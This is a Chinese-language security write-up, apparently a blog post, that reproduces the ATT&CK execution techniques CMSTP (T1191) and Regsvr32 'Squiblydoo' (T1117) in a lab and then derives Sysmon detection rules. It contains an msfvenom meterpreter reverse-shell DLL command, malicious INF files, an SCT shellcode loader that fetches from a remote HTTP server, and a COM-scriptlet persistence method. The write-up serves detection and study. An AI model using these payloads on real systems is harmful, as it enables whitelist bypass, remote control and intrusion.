ATT&CK攻防初窺系列--執行篇(二)
繼上篇ATT&CK攻防初窺系列--執行篇(一),我們復現並提取了T1196- Control Panel Items、T1220- XSL Script Processing檢測特徵後本篇我們復現一下T1191-CMSTP、T1117-Regsvr32並提取其檢測特徵。
T1191-CMSTP
Microsoft連線管理器配置檔案安裝程式(CMSTP.exe)是用於安裝連線管理器服務配置檔案的命令列程式。CMSTP.exe接受安裝資訊檔案(INF)作為引數,並安裝用於遠端訪問連線的服務配置檔案。
攻擊者可能會使用CMSTP.exe呼叫惡意的INF檔案。與Regsvr32 相似,CMSTP.exe可能被利用從遠端伺服器載入和執行DLL或COM指令碼(SCT)。由於CMSTP.exe是合法的,經過簽名的Microsoft應用程式,因此該執行過程也可以繞過AppLocker和其他白名單防禦。
CMSTP.exe也可以通過自動提升的COM介面從惡意INF執行任意命令繞過使用者帳戶控制
命令執行(DLL)
技術復現
建立dll後門檔案
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.133 LPORT=9999 -f dll -o backdoor.dll
建立惡意的INF檔案
;cmstp_dll.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\777\Desktop\AH\backdoor.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
Service
ShortSvc
將DLL和INF傳輸到目標主機,使用cmstp.exe呼叫惡意的INF檔案
cmstp /s cmstp_dll.inf
結果驗證
執行cmstp上線主機
命令執行(SCT)
技術復現
建立HTTP伺服器,放置SCT payload檔案
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class >
<script language="JScript">
<![CDATA[
function setversion() {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = ${PAYLOAD};
var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]>
</script>
</registration>
</scriptlet>
配置惡意的INF檔案
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://192.168.58.135:8000/bb.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
Service
ShortSvc
結果驗證
執行cmstp上線主機
威脅取證
命令執行(DLL)
程式特徵:(級別:高)
# 當cmstp.exe作為父程式建立其他程式時,視為可疑
ParentImage contians 'cmstp.exe'
網路特徵:(級別:僅審計)
# 當呼叫rundll32.exe執行dll時,若dll為通訊後門或drop程式,可能會連線外網C2或者下載後門程式,此時會發起網路連線,可審計rundll32的網路通訊結合其他型別日誌進行分析
eventNum = 3 AND Image contians 'rundll32.exe'
命令執行(SCT)
載入項特徵:(級別:高)
# 當使用sct檔案作為payload時,cmstp會直接建立COM物件進行執行,所以在程式行為上看不見父子關係。但使用sct時,會執行sct檔案中的指令碼,此時就會呼叫jscript、vbscript此類指令碼dll,視為可疑行為。
eventid = 7 AND ImageLoaded contains ('jscript' OR 'vbscript') AND Image contains 'cmstp.exe'
網路特徵:(級別:高)
# 當使用sct檔案作為payload時,由cmstp程式直接發起通訊,cmstp本身為配置安裝服務配置程式,一般不會發起網路連線,故此視為可疑行為
eventNum = 3 AND Image contains 'cmstp.exe'
T1117-Regsvr32
Regsvr32.exe是一個命令列程式,用於在Windows系統上註冊和取消註冊物件連結,嵌入控制元件和動態連結庫。Regsvr32.exe可用於執行任意二進位制檔案。
攻擊者可以利用此功能來代理攻擊程式碼的執行,以避免觸發安全工具,這些工具可能無法監視regsvr32.exe程式的執行和載入的模組,因為Windows使用regsvr32.exe進行正常操作時會出現白名單或誤報。Regsvr32.exe也是Microsoft簽名的二進位制檔案。
Regsvr32.exe還可用於專門繞過程式白名單,使用功能載入COM scriptlet以在使用者許可權下執行DLL。由於regsvr32.exe具有網路功能,因此可以呼叫遠端指令碼來執行程式碼。
命令執行
讀取遠端payload執行
regsvr32 /s /n /u /i:<url/aa.sct> scrobj.dll
讀取本地payload執行
regsvr32 /s /n /u /i:<aa.sct> scrobj.dll
技術復現
1. 建立aaa.sct檔案放至HTTP服務
File: aa.sct
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
root@kali:~/L/sct# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
結果驗證
後門駐留
該技術使用者後門的方式與遠端命令執行類似,在呼叫遠端指令碼去掉選項 /n /u 讓COM物件註冊到登錄檔中,需要用指令碼執行COM物件才能執行(這種方式還需要其他的機制觸發指令碼執行才能穩定控制,有點雞肋),所以通過COM劫持替換常被呼叫的COM物件來實現駐留更為有效,COM劫持本篇不討論,留在後門的文章詳說。
技術復現
1. 建立COM物件的sct檔案
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class
>
</registration>
<public>
<method>
</method>
</public>
<script language="JScript">
<![CDATA[
function exec(){
new ActiveXObject('WScript.Shell').Run('calc.exe');
}
]]>
</script>
</scriptlet>
2. 建立執行指令碼呼叫COM物件
var test = new ActiveXObject("Test");
test.exec()
結果驗證
此時在登錄檔可以看見註冊的COM物件
相關知識
1. Regsvr32的引數含義
Regsvr32 [/s] [/n] [/i[:cmdline]] dllname
/u 解除安裝安裝的控制元件,解除安裝伺服器註冊
/s 註冊成功後不顯示操作成功資訊框
/i 呼叫DllInstall函式並把可選引數[cmdline]傳給它,當使用/u時用來解除安裝DLL
/n 不呼叫DllRegisterServer,該引數必須和/i一起使用
當使用 /u 時,命令不會在登錄檔註冊COM物件,只會執行遠端的scriptlet
2. srcobj.dll起到什麼作用
Scrobj.dll用於註冊和取消註冊COM物件,這是觸發此操作所需的。詳情見此
威脅取證
命令列特徵:(級別:高)
# 不管是本地還是遠端呼叫,都必須要關鍵字regsvr32,\i,scrobj.dll
eventid = 1 AND cmdline regex regsvr32\s+.*\i:.*?\s+scrobj.dll
載入項特徵:(級別:高)
# 在執行scriptlet是會使用Jscript或者vbscript指令碼,這樣系統就會呼叫指令碼程式
eventid = 7 AND ImageLoaded contains ('jscript' OR 'vbscript') AND Image contains 'regsvr32.exe'
驗證vbscript作為payload確認會呼叫
<?XML version="1.0"?>
<scriptlet>
<registration
prog
class >
<script language="vbscript">
<![CDATA[
set foo = createobject("WScript.Shell")
foo.Run("cmd.exe /c calc.exe")
]]>
</script>
</registration>
</scriptlet>
程式特徵:(級別:中)
# 當regsvr32作為父程式建立其他程式時是一種可疑行為
eventNum = 1 AND ParentImage contains 'regsvr32.exe'
參考
https://attack.mitre.org/techniques/T1191/
https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
https://msitpros.com/?p=3960
https://attack.mitre.org/techniques/T1117/
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
https://security.stackexchange.com/questions/183021/how-does-this-applocker-bypass-work-exactly-squibblydoo